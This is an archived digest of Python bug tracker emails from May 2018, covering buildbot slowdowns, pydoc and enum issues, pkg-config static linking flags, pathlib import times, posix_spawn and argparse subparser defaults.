David Bolen added the comment: Disk space seems unlikely as a reason - the local disk is 60GB on each buildbot, of which at least 50GB+ is generally free. So that shouldn't be a problem (the WinXP/Win7 buildbots operate with far less, like 5-10GB). I had also considered that perhaps something went wrong with the temp folder setting during the reboot so it ended up on the system disk (network) rather than the local disk, but it looks fine, and I see build and temporary files all created on the local disk. I believe some of the worst overheads for Spectre patches were found in I/O intensive workloads. Interestingly, neither buildbot processor reports PCID support, which might make it worse (though I don't know for sure if Azure exposes those flags to guests). Of course, it could just be some other change in the new physical machines in some way. There have been no other guest changes for a while (last was a build tool change in January). Whatever it is, it certainly seems correlated to the maintenance, and appears to be consistent after that point. -- David ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 7 01:44:08 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 07 May 2018 05:44:08 +0000 Subject: [issue33422] Fix and update string/byte literals in help() In-Reply-To: <1525390621.75.0.682650639539.issue33422@psf.upfronthosting.co.za> Message-ID: <1525671848.43.0.682650639539.issue33422@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: New changeset c40eeeb5e69df12a5f46edc7ba82ec75c7d1b820 by Serhiy Storchaka (Andr?s Delfino) in branch '2.7': [2.7] bpo-33422: Fix quotation marks getting deleted when looking up byte/string literals on pydoc. (GH-6701) (GH-6712) https://github.com/python/cpython/commit/c40eeeb5e69df12a5f46edc7ba82ec75c7d1b820 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 7 01:47:57 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 07 May 2018 05:47:57 +0000 Subject: [issue33422] Fix and update string/byte literals in help() In-Reply-To: <1525390621.75.0.682650639539.issue33422@psf.upfronthosting.co.za> Message-ID: <1525672077.28.0.682650639539.issue33422@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Thank you for your contribution Andr?s! I just wondering how did you discover this bug? ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed type: -> behavior versions: +Python 2.7, Python 3.6, Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 7 03:16:46 2018 From: report at bugs.python.org (Roundup Robot) Date: Mon, 07 May 2018 07:16:46 +0000 Subject: [issue33435] incorrect detection of information of some distributions In-Reply-To: <1525600412.06.0.682650639539.issue33435@psf.upfronthosting.co.za> Message-ID: <1525677406.3.0.682650639539.issue33435@psf.upfronthosting.co.za> Change by Roundup Robot : ---------- pull_requests: +6410 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 7 04:07:02 2018 From: report at bugs.python.org (Roundup Robot) Date: Mon, 07 May 2018 08:07:02 +0000 Subject: [issue33435] incorrect detection of information of some distributions In-Reply-To: <1525600412.06.0.682650639539.issue33435@psf.upfronthosting.co.za> Message-ID: <1525680422.56.0.682650639539.issue33435@psf.upfronthosting.co.za> Change by Roundup Robot : ---------- pull_requests: +6411 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 7 04:54:18 2018 From: report at bugs.python.org (Adam) Date: Mon, 07 May 2018 08:54:18 +0000 Subject: [issue32627] Header dependent _uuid build failure on Fedora 27 In-Reply-To: <1516672443.95.0.467229070634.issue32627@psf.upfronthosting.co.za> Message-ID: <1525683258.68.0.682650639539.issue32627@psf.upfronthosting.co.za> Adam added the comment: Some systems might have both uuid.h and uuid/uuid.h. For example, NetBSD provides /usr/include/uuid.h, and one might also install libuuid from a package, and the latter has uuid/uuid.h. To fix this, do not include both files, when both have been detected. Here is a patch: --- Modules/_uuidmodule.c.orig +++ Modules/_uuidmodule.c @@ -3,8 +3,7 @@ #include "Python.h" #ifdef HAVE_UUID_UUID_H #include -#endif -#ifdef HAVE_UUID_H +#elif defined(HAVE_UUID_H) #include #endif ---------- nosy: +adam at NetBSD.org _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 7 06:02:38 2018 From: report at bugs.python.org (Andres Ayala) Date: Mon, 07 May 2018 10:02:38 +0000 Subject: [issue33437] Defining __init__ in enums Message-ID: <1525687357.98.0.682650639539.issue33437@psf.upfronthosting.co.za> New submission from Andres Ayala : I have to read and write many files for an old fortran program where the elements are coded as integer (so 0 is the X, 1 is the Y...) and I have some tags associated to each one. So I tried to create an Enum with some additional fields: class Coord(Enum): def __init__(self, value, label, unit): super().__init__() self._value_ = value self.label = label self.unit = unit PX = (0, 'P.X', 'km') PY = (1, 'P.Y', 'km') VX = (2, 'V.X', 'km/s') VY = (3, 'V.Y', 'km/s') This almost work: >>> for element in CoordOk: ... print("{0}: {0.label}[{0.unit}] = {0.value}".format(element)) CoordOk.PX: P.X[km] = 0 CoordOk.PY: P.Y[km] = 1 CoordOk.VX: V.X[km/s] = 2 CoordOk.VY: V.Y[km/s] = 3 But fails recovering the coordinate from the value: >>> print(Coord(0)) Traceback (most recent call last): File "/home/killerrex/tmp/demo.py", line 33, in print(Coord(0)) File "/usr/lib64/python3.6/enum.py", line 291, in __call__ return cls.__new__(cls, value) File "/usr/lib64/python3.6/enum.py", line 533, in __new__ return cls._missing_(value) File "/usr/lib64/python3.6/enum.py", line 546, in _missing_ raise ValueError("%r is not a valid %s" % (value, cls.__name__)) ValueError: 0 is not a valid Coord Because the internal value of the enum is (0, 'P.X', 'km') and not 0 I found that it is possible to do what I am trying to do with: class CoordOk(Enum): def __new__(cls, value, label, unit): obj = object.__new__(cls) obj._value_ = value obj.label = label obj.unit = unit return obj PX = (0, 'P.X', 'km') PY = (1, 'P.Y', 'km') VX = (2, 'V.X', 'km/s') VY = (3, 'V.Y', 'km/s') Following the latest doc from Enum. Although it is not so intuitive (defining __new__ is not as easy as __init__) To make the first proposal work fine is enough with moving the line 221 of enum.py after the line 224 (see the patch) I haven't found problems with the change but obviously my little reduced tests are not representative at all. And even if it works there may be good reasons to not allow changing the _value_ in the init. So mi enhancement proposal is either: Add an example like the CoordOk to the documentation to help others to find how to change the _value_ (and an explanation on why is better not to do it in the __init__ would be perfect) or Change the line enum.py so it is possible to update the _value_ in the __init__ method and if you want use the Coord example in the docs. Thanks! ---------- components: Library (Lib) files: enum_allow_change_value_in_init.patch keywords: patch messages: 316256 nosy: killerrex priority: normal severity: normal status: open title: Defining __init__ in enums type: enhancement versions: Python 3.6 Added file: https://bugs.python.org/file47575/enum_allow_change_value_in_init.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 7 06:52:21 2018 From: report at bugs.python.org (R. David Murray) Date: Mon, 07 May 2018 10:52:21 +0000 Subject: [issue33436] Add an interactive shell for Sqlite3 In-Reply-To: <1525657620.33.0.682650639539.issue33436@psf.upfronthosting.co.za> Message-ID: <1525690341.87.0.682650639539.issue33436@psf.upfronthosting.co.za> R. David Murray added the comment: It's not immediately obvious what benefits this provides over the existing sqlite-native repl and the python repl. Can you expand a bit on the use case? Also, I seem to remember that Catherine Devlin had at one point thought about expanding her sqlpython to be multi-db capable, and while it doesn't look like that has happened, maybe that would be an alternative worth investigating? (I've never used it or looked at its code, so it may not be.) ---------- nosy: +r.david.murray _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 7 06:55:52 2018 From: report at bugs.python.org (Antoine Pitrou) Date: Mon, 07 May 2018 10:55:52 +0000 Subject: [issue33438] pkg-config file misses flags for static linking Message-ID: <1525690552.38.0.682650639539.issue33438@psf.upfronthosting.co.za> New submission from Antoine Pitrou : Our pkg-config misses flags for static linking with libpythonXX.a, such as "-lpthread -lutil -lrt" on Windows. For dynamic linking, this is not a problem since libpythonXX.so links explicitly against those system libraries. ---------- components: Build messages: 316258 nosy: barry, doko, pitrou priority: normal severity: normal status: open title: pkg-config file misses flags for static linking type: behavior versions: Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 7 06:58:33 2018 From: report at bugs.python.org (Antoine Pitrou) Date: Mon, 07 May 2018 10:58:33 +0000 Subject: [issue33438] pkg-config file misses flags for static linking In-Reply-To: <1525690552.38.0.682650639539.issue33438@psf.upfronthosting.co.za> Message-ID: <1525690713.43.0.682650639539.issue33438@psf.upfronthosting.co.za> Antoine Pitrou added the comment: $ PKG_CONFIG_PATH=`pwd`/Misc pkg-config --static python $ PKG_CONFIG_PATH=`pwd`/Misc pkg-config --libs python -L/home/antoine/cpython/37/usr/lib -lpython3.7m $ PKG_CONFIG_PATH=`pwd`/Misc pkg-config --libs-only-l python -lpython3.7m $ PKG_CONFIG_PATH=`pwd`/Misc pkg-config --libs-only-other python $ ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 7 06:59:00 2018 From: report at bugs.python.org (Antoine Pitrou) Date: Mon, 07 May 2018 10:59:00 +0000 Subject: [issue33438] pkg-config file misses flags for static linking In-Reply-To: <1525690552.38.0.682650639539.issue33438@psf.upfronthosting.co.za> Message-ID: <1525690740.96.0.682650639539.issue33438@psf.upfronthosting.co.za> Antoine Pitrou added the comment: (correction: in the first message, I meant "on Linux" not "on Windows". Of course :-)) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 7 07:07:36 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 07 May 2018 11:07:36 +0000 Subject: [issue33436] Add an interactive shell for Sqlite3 In-Reply-To: <1525657620.33.0.682650639539.issue33436@psf.upfronthosting.co.za> Message-ID: <1525691256.58.0.682650639539.issue33436@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: It could be added in Tools/scripts directory or as a part of the sqlite3 module. > It's not immediately obvious what benefits this provides over the existing sqlite-native repl and the python repl. The existing sqlite-native repl is not always installed when Python is installed (especially on Windows). It is handy that Python provides CLI to some modules, including zipfile and tarfile. I would prefer CLI, but maybe both interfaces can be combined. It would be nice to provide also a graphical Sqlite3 browser, which can be ran as a separate application and be integrated with IDLE (as turtledemo). ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 7 07:58:43 2018 From: report at bugs.python.org (Scott M) Date: Mon, 07 May 2018 11:58:43 +0000 Subject: [issue33257] Race conditions in Tkinter with non-threaded Tcl In-Reply-To: <1523378469.47.0.682650639539.issue33257@psf.upfronthosting.co.za> Message-ID: <1525694323.68.0.682650639539.issue33257@psf.upfronthosting.co.za> Change by Scott M : ---------- nosy: +PythonInTheGrass _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 7 08:13:53 2018 From: report at bugs.python.org (=?utf-8?q?Andr=C3=A9s_Delfino?=) Date: Mon, 07 May 2018 12:13:53 +0000 Subject: [issue33422] Fix and update string/byte literals in help() In-Reply-To: <1525390621.75.0.682650639539.issue33422@psf.upfronthosting.co.za> Message-ID: <1525695233.33.0.682650639539.issue33422@psf.upfronthosting.co.za> Andr?s Delfino added the comment: I was exploring pydoc, saw the literals as available help "terms" on the sysmbols section, and tried reading the help for one of them. I learnt about IDLE debugging to trace this bug :) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 7 08:14:11 2018 From: report at bugs.python.org (Antoine Pitrou) Date: Mon, 07 May 2018 12:14:11 +0000 Subject: [issue33438] pkg-config file misses flags for static linking In-Reply-To: <1525690552.38.0.682650639539.issue33438@psf.upfronthosting.co.za> Message-ID: <1525695251.9.0.682650639539.issue33438@psf.upfronthosting.co.za> Antoine Pitrou added the comment: Note that both implementations of python-config give the right information: $ ./python python-config.py --libs -lpython3.7m -lpthread -ldl -lutil -lm $ sh python-config --libs -lpython3.7m -lpthread -ldl -lutil -lm ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 7 08:15:49 2018 From: report at bugs.python.org (Antoine Pitrou) Date: Mon, 07 May 2018 12:15:49 +0000 Subject: [issue33439] python-config.py should be part of the stdlib Message-ID: <1525695349.77.0.682650639539.issue33439@psf.upfronthosting.co.za> New submission from Antoine Pitrou : Rather than (or in addition to) being a standalone script, python-config should be invokable as a stdlib module, e.g. "python -m sysconfig.config". This would prevent the risk of invoking the wrong script on PATH. ---------- components: Build, Library (Lib) messages: 316264 nosy: barry, doko, ncoghlan, pitrou priority: normal severity: normal status: open title: python-config.py should be part of the stdlib type: enhancement versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 7 08:18:37 2018 From: report at bugs.python.org (Scott M) Date: Mon, 07 May 2018 12:18:37 +0000 Subject: [issue33257] Race conditions in Tkinter with non-threaded Tcl In-Reply-To: <1523378469.47.0.682650639539.issue33257@psf.upfronthosting.co.za> Message-ID: <1525695517.43.0.682650639539.issue33257@psf.upfronthosting.co.za> Scott M added the comment: 7 years and counting... My need for a fix is long gone, but I'd like to be able to tell the original group I worked with whether it's now safe to use tkinter from threads. It looks like my original guesses were validated and a fix has been made, but I can't tell if it's universally available. What version of Python would they need to be on, and are any platforms still misbehaved "out of the box"? They will not be willing to rebuild python itself. TIA. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 7 08:28:40 2018 From: report at bugs.python.org (Nick Coghlan) Date: Mon, 07 May 2018 12:28:40 +0000 Subject: [issue33440] Possible lazy import opportunities in `pathlib` Message-ID: <1525696120.71.0.682650639539.issue33440@psf.upfronthosting.co.za> New submission from Nick Coghlan : Due to a python-ideas discussion about reducing boilerplate for __file__-relative path calculations, I was running "./python -X importtime -S -c 'import pathlib'" and noticed three potential candidates where it may be worthwhile deferring the imports until the modules are actually needed: - re (used in _WildcardSelector) - fnmatch (used in PurePath.match and _WildcardSelector) - urllib.parse (used in PurePath.as_uri, by way of self._flavour.make_uri) Using an optimised Python 3.7 on an SSD with warm disk caches, commenting out those 3 imports reduced my typical import times for pathlib from 12-13 ms to 7-8 ms) ---------- components: Library (Lib) messages: 316266 nosy: ncoghlan, njs, pitrou priority: normal severity: normal status: open title: Possible lazy import opportunities in `pathlib` type: performance versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 7 08:32:22 2018 From: report at bugs.python.org (Ivan Levkivskyi) Date: Mon, 07 May 2018 12:32:22 +0000 Subject: [issue33315] Allow queue.Queue to be used in type annotations In-Reply-To: <1524139376.68.0.682650639539.issue33315@psf.upfronthosting.co.za> Message-ID: <1525696342.01.0.682650639539.issue33315@psf.upfronthosting.co.za> Change by Ivan Levkivskyi : ---------- assignee: -> levkivskyi _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 7 08:40:56 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 07 May 2018 12:40:56 +0000 Subject: [issue33441] Expose the sigset_t converter via private API Message-ID: <1525696856.75.0.682650639539.issue33441@psf.upfronthosting.co.za> New submission from Serhiy Storchaka : posix_spawn() (see issue20104) needs the converter to sigset_t defined in signalmodule.c. Since the code is not trivial, it is better to share it instead of duplicate. The proposed PR: * Exposes the sigset_t converter via private API _Py_Sigset_Converter(). The implementation is moved to posixmodule.c. * Uses Argument Clinic for parsing sigset_t in signalmodule.c. In particularly it causes that the first argument of signal.sigtimedwait() will be parsed before the second one. * Make the converter always raising ValueError for signal numbers out of range 1..NSIG. OverflowError was raised before for integers out of the platform depending C long range. ---------- messages: 316267 nosy: pablogsal, pitrou, serhiy.storchaka priority: normal severity: normal status: open title: Expose the sigset_t converter via private API type: enhancement versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 7 08:44:53 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 07 May 2018 12:44:53 +0000 Subject: [issue33441] Expose the sigset_t converter via private API In-Reply-To: <1525696856.75.0.682650639539.issue33441@psf.upfronthosting.co.za> Message-ID: <1525697093.07.0.682650639539.issue33441@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- keywords: +patch pull_requests: +6412 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 7 08:56:52 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 07 May 2018 12:56:52 +0000 Subject: [issue20104] expose posix_spawn(p) In-Reply-To: <1388600000.81.0.911230526926.issue20104@psf.upfronthosting.co.za> Message-ID: <1525697812.92.0.682650639539.issue20104@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: I have doubts about combining setschedpolicy and setschedparam. On one hand, they are set by independent functions in C and have separate flags. When pass arguments separately we don't need to invent a parameter name: just remove the common "posix_spawnattr_" prefix from corresponding C function names. Passing scheduler=(None, param) looks clumsy. And from implementation side, parsing separate arguments is easier that parsing a single argument as a 2-tuple. On other hand, these arguments are not completely independent: the setschedparam argument is required if setschedpolicy is specified. Passing as separate arguments still looks more preferable to me. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 7 08:58:18 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 07 May 2018 12:58:18 +0000 Subject: [issue20104] expose posix_spawn(p) In-Reply-To: <1388600000.81.0.911230526926.issue20104@psf.upfronthosting.co.za> Message-ID: <1525697898.59.0.682650639539.issue20104@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- dependencies: +Expose the sigset_t converter via private API _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 7 09:06:02 2018 From: report at bugs.python.org (Pete Moore) Date: Mon, 07 May 2018 13:06:02 +0000 Subject: [issue33442] Python 3 doc sidebar dosnt follow page scrolling like 2.7 doc sidebar. Message-ID: <1525698362.62.0.682650639539.issue33442@psf.upfronthosting.co.za> New submission from Pete Moore <1petemoore at gmail.com>: the 3.x docs sidebar at location https://docs.python.org/3.6/library/logging.html does not follow the user's scrolling movements like the 2.7 docs sidebar at location https://docs.python.org/2.7/library/logging.html ---------- assignee: docs at python components: Documentation messages: 316269 nosy: docs at python, pete312 priority: normal severity: normal status: open title: Python 3 doc sidebar dosnt follow page scrolling like 2.7 doc sidebar. type: behavior versions: Python 3.4, Python 3.5, Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 7 09:25:03 2018 From: report at bugs.python.org (Dong-hee Na) Date: Mon, 07 May 2018 13:25:03 +0000 Subject: [issue21592] Make statistics.median run in linear time In-Reply-To: <1401279098.1.0.387904478686.issue21592@psf.upfronthosting.co.za> Message-ID: <1525699503.32.0.682650639539.issue21592@psf.upfronthosting.co.za> Dong-hee Na added the comment: For CPython, I agree with the opinion that finding a median value with Tim sort(C version) is faster than quickselect algorithm with pure python. Or we need to implement quickselect by C API. The advantage of implementing this method by quickselect with pure python will be for pypy or any other python compatible compiler. Considering the role that CPython provides for the standard library to other compatible compilers, it is worth considering from a performance point of view with a compatible compiler. However, for CPython, we have to take a performance hit. Here is the benchmark result with pypy3 on MacOS N sort select7 select23 select47 select97 select select2 PR6715 -------- -------- -------- -------- -------- -------- -------- ------- ------- 5000 0.000 0.003 0.000 0.000 0.000 0.001 0.001 0.001 10000 0.000 0.001 0.001 0.001 0.001 0.000 0.000 0.001 50000 0.002 0.005 0.004 0.002 0.002 0.000 0.000 0.000 100000 0.005 0.008 0.004 0.004 0.005 0.001 0.001 0.001 500000 0.027 0.021 0.016 0.019 0.021 0.004 0.003 0.003 1000000 0.054 0.035 0.030 0.037 0.041 0.006 0.007 0.008 2000000 0.104 0.069 0.063 0.074 0.084 0.013 0.013 0.015 3000000 0.162 0.105 0.091 0.109 0.122 0.017 0.018 0.017 4000000 0.219 0.137 0.122 0.148 0.167 0.024 0.016 0.024 5000000 0.275 0.170 0.156 0.182 0.204 0.030 0.028 0.017 6000000 0.336 0.210 0.181 0.220 0.247 0.030 0.039 0.040 7000000 0.447 0.283 0.242 0.292 0.329 0.056 0.055 0.043 8000000 0.503 0.309 0.248 0.313 0.338 0.051 0.049 0.052 9000000 0.592 0.359 0.323 0.353 0.421 0.065 0.047 0.082 10000000 0.643 0.398 0.357 0.412 0.433 0.061 0.070 0.047 11000000 0.700 0.387 0.365 0.454 0.459 0.087 0.075 0.077 ---------- nosy: +corona10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 7 09:29:16 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 07 May 2018 13:29:16 +0000 Subject: [issue33216] Wrong order of stack for CALL_FUNCTION_VAR and CALL_FUNCTION_VAR_KW In-Reply-To: <1522784543.83.0.467229070634.issue33216@psf.upfronthosting.co.za> Message-ID: <1525699756.78.0.682650639539.issue33216@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- priority: normal -> release blocker _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 7 09:55:43 2018 From: report at bugs.python.org (Ivan Levkivskyi) Date: Mon, 07 May 2018 13:55:43 +0000 Subject: [issue3692] improper scope in list comprehension, when used in class declaration In-Reply-To: <1219792814.12.0.663300668565.issue3692@psf.upfronthosting.co.za> Message-ID: <1525701343.87.0.682650639539.issue3692@psf.upfronthosting.co.za> Ivan Levkivskyi added the comment: > Bug or not this is not going to change without a PEP, so I'm not sure it's a good idea to keep this issue open. I agree this requires a PEP. I would like to keep this open as a place for pre-PEP discussions among those interested (and as a remainder to maybe write such PEP). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 7 10:09:14 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 07 May 2018 14:09:14 +0000 Subject: [issue3692] improper scope in list comprehension, when used in class declaration In-Reply-To: <1219792814.12.0.663300668565.issue3692@psf.upfronthosting.co.za> Message-ID: <1525702154.59.0.682650639539.issue3692@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: I don't think this will need drastic changes. Just setting some flags here or there for making comprehensions using LOAD_NAME instead of LOAD_GLOBAL. The fix should lie near the fix for issue33346. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 7 11:12:33 2018 From: report at bugs.python.org (Yuki Wakisaka) Date: Mon, 07 May 2018 15:12:33 +0000 Subject: [issue33443] Typo in Python/import.c Message-ID: <1525705953.03.0.682650639539.issue33443@psf.upfronthosting.co.za> New submission from Yuki Wakisaka : In the method, "_PyImportZip_Init(void)", of Python/import.c, the variable, "PyObject *path_hooks, *zimpimport;", seems to be typo, which can be "zipimport". ---------- components: Interpreter Core messages: 316273 nosy: ukwksk priority: normal severity: normal status: open title: Typo in Python/import.c versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 7 11:19:15 2018 From: report at bugs.python.org (Roundup Robot) Date: Mon, 07 May 2018 15:19:15 +0000 Subject: [issue33443] Typo in Python/import.c In-Reply-To: <1525705953.03.0.682650639539.issue33443@psf.upfronthosting.co.za> Message-ID: <1525706355.35.0.682650639539.issue33443@psf.upfronthosting.co.za> Change by Roundup Robot : ---------- keywords: +patch pull_requests: +6413 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 7 11:30:27 2018 From: report at bugs.python.org (Guido van Rossum) Date: Mon, 07 May 2018 15:30:27 +0000 Subject: [issue3692] improper scope in list comprehension, when used in class declaration In-Reply-To: <1525702154.59.0.682650639539.issue3692@psf.upfronthosting.co.za> Message-ID: Guido van Rossum added the comment: > I don't think this will need drastic changes. IIRC LOAD_NAME loads from the *local* scope, which will be the synthetic function created for the comprehension (whose scope contains the loop control variables). We may need a new opcode similar to LOAD_GLOBAL that looks in two non-local directories rather than just one before falling back to builtins; and the function object would need to have a link to both the class dict and the global dict -- currently function objects gave a __globals__ link but there's no chaining. Or perhaps __globals__ could be set to a chainmap referencing the class dict and the globals? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 7 11:30:52 2018 From: report at bugs.python.org (Yuki Wakisaka) Date: Mon, 07 May 2018 15:30:52 +0000 Subject: [issue33443] Typo in Python/import.c In-Reply-To: <1525705953.03.0.682650639539.issue33443@psf.upfronthosting.co.za> Message-ID: <1525707052.09.0.682650639539.issue33443@psf.upfronthosting.co.za> Change by Yuki Wakisaka : ---------- pull_requests: +6414 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 7 12:05:19 2018 From: report at bugs.python.org (Brian Skinn) Date: Mon, 07 May 2018 16:05:19 +0000 Subject: [issue33109] argparse: make new 'required' argument to add_subparsers default to False instead of True In-Reply-To: <1521553319.23.0.467229070634.issue33109@psf.upfronthosting.co.za> Message-ID: <1525709119.27.0.682650639539.issue33109@psf.upfronthosting.co.za> Brian Skinn added the comment: I second Wolfgang's recommendation to change the default back to `False`. I started developing CLI apps &c. in Python ~4yrs ago; I dabbled briefly in 2.7, then switched firmly to Python 3. When I started, I was aimed at supporting 3.3 to 3.5; now I'm specifically supporting 3.4 to 3.6, but starting to test my code against the 3.7b versions. Thus, all I've ever known is the default `required=False` behavior. On my one tool currently using subparsers (https://github.com/bskinn/sphobjinv), I made the subparser choice optional, to allow a `sphobjinv --version` invocation. So, when 3.7 failed that test (https://github.com/bskinn/sphobjinv/blob/6c1f22e40dc3d129485462aec05adbed2ff40ab8/sphobjinv/test/sphobjinv_cli.py#L419-L422), it seemed like a regression to me. All that said, given that the `subparsers.required = False` fix is a clean, single line, I have no beef with a `True` default if that's preferred. However, please include this change in the 3.7 CHANGELOG, at least. ---------- nosy: +bskinn _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 7 13:21:49 2018 From: report at bugs.python.org (Nathaniel Smith) Date: Mon, 07 May 2018 17:21:49 +0000 Subject: [issue33440] Possible lazy import opportunities in `pathlib` In-Reply-To: <1525696120.71.0.682650639539.issue33440@psf.upfronthosting.co.za> Message-ID: <1525713709.43.0.682650639539.issue33440@psf.upfronthosting.co.za> Nathaniel Smith added the comment: Also it's a smaller win, but it might be worth considering whether we can avoid the import of 'nt' on posix platforms and vice-versa. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 7 15:12:28 2018 From: report at bugs.python.org (Ethan Furman) Date: Mon, 07 May 2018 19:12:28 +0000 Subject: [issue33437] Defining __init__ in enums In-Reply-To: <1525687357.98.0.682650639539.issue33437@psf.upfronthosting.co.za> Message-ID: <1525720348.73.0.682650639539.issue33437@psf.upfronthosting.co.za> Ethan Furman added the comment: Setting _value_ needs to happen in __new__ for those cases where another data type, such as str or int, is mixed in. I'll look at adding an example to the docs. Thanks for the report! ---------- assignee: -> ethan.furman components: +Documentation nosy: +barry, eli.bendersky, ethan.furman type: enhancement -> behavior versions: +Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 7 20:26:41 2018 From: report at bugs.python.org (=?utf-8?q?Andr=C3=A9s_Delfino?=) Date: Tue, 08 May 2018 00:26:41 +0000 Subject: [issue33414] Make shutil.copytree use os.scandir to take advantage of cached is_(dir|file|symlink) In-Reply-To: <1525320573.53.0.682650639539.issue33414@psf.upfronthosting.co.za> Message-ID: <1525739201.88.0.682650639539.issue33414@psf.upfronthosting.co.za> Change by Andr?s Delfino : ---------- keywords: +patch pull_requests: +6416 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 8 00:48:53 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 08 May 2018 04:48:53 +0000 Subject: [issue33441] Expose the sigset_t converter via private API In-Reply-To: <1525696856.75.0.682650639539.issue33441@psf.upfronthosting.co.za> Message-ID: <1525754933.71.0.682650639539.issue33441@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: New changeset d54cfb160c626626394e2f171d3ccfe03309f34e by Serhiy Storchaka in branch 'master': bpo-33441: Make the sigset_t converter available in other modules. (GH-6720) https://github.com/python/cpython/commit/d54cfb160c626626394e2f171d3ccfe03309f34e ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 8 01:06:35 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 08 May 2018 05:06:35 +0000 Subject: [issue33096] ttk.Treeview.insert() does not allow to insert item with "False" iid In-Reply-To: <1521364150.91.0.467229070634.issue33096@psf.upfronthosting.co.za> Message-ID: <1525755995.93.0.682650639539.issue33096@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- pull_requests: +6417 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 8 01:47:21 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 08 May 2018 05:47:21 +0000 Subject: [issue33414] Make shutil.copytree use os.scandir to take advantage of cached is_(dir|file|symlink) In-Reply-To: <1525320573.53.0.682650639539.issue33414@psf.upfronthosting.co.za> Message-ID: <1525758440.99.0.682650639539.issue33414@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: The code with using scandir() is more complex and is different enough from the code with using listdir() for having significant risk of introducing bugs. Also using scandir() introduces a risk of leaking file descriptors. We don't rewrite the code without good reasons. If you propose performance enhancement, please provide benchmark results that expose the benefit of this change. If it is not large enough, it is not worth to do. Actually your change looks making the code slower: it reads the directory twice. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 8 03:09:11 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 08 May 2018 07:09:11 +0000 Subject: [issue33096] ttk.Treeview.insert() does not allow to insert item with "False" iid In-Reply-To: <1521364150.91.0.467229070634.issue33096@psf.upfronthosting.co.za> Message-ID: <1525763351.51.0.682650639539.issue33096@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: New changeset 903f189b6e528cbe9500014c6f990c6511b38918 by Serhiy Storchaka in branch '2.7': bpo-33096: Removed unintentionally backported from Python 3 Tkinter files. (GH-6724) https://github.com/python/cpython/commit/903f189b6e528cbe9500014c6f990c6511b38918 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 8 04:25:09 2018 From: report at bugs.python.org (twisteroid ambassador) Date: Tue, 08 May 2018 08:25:09 +0000 Subject: [issue33413] asyncio.gather should not use special Future In-Reply-To: <1525286358.11.0.682650639539.issue33413@psf.upfronthosting.co.za> Message-ID: 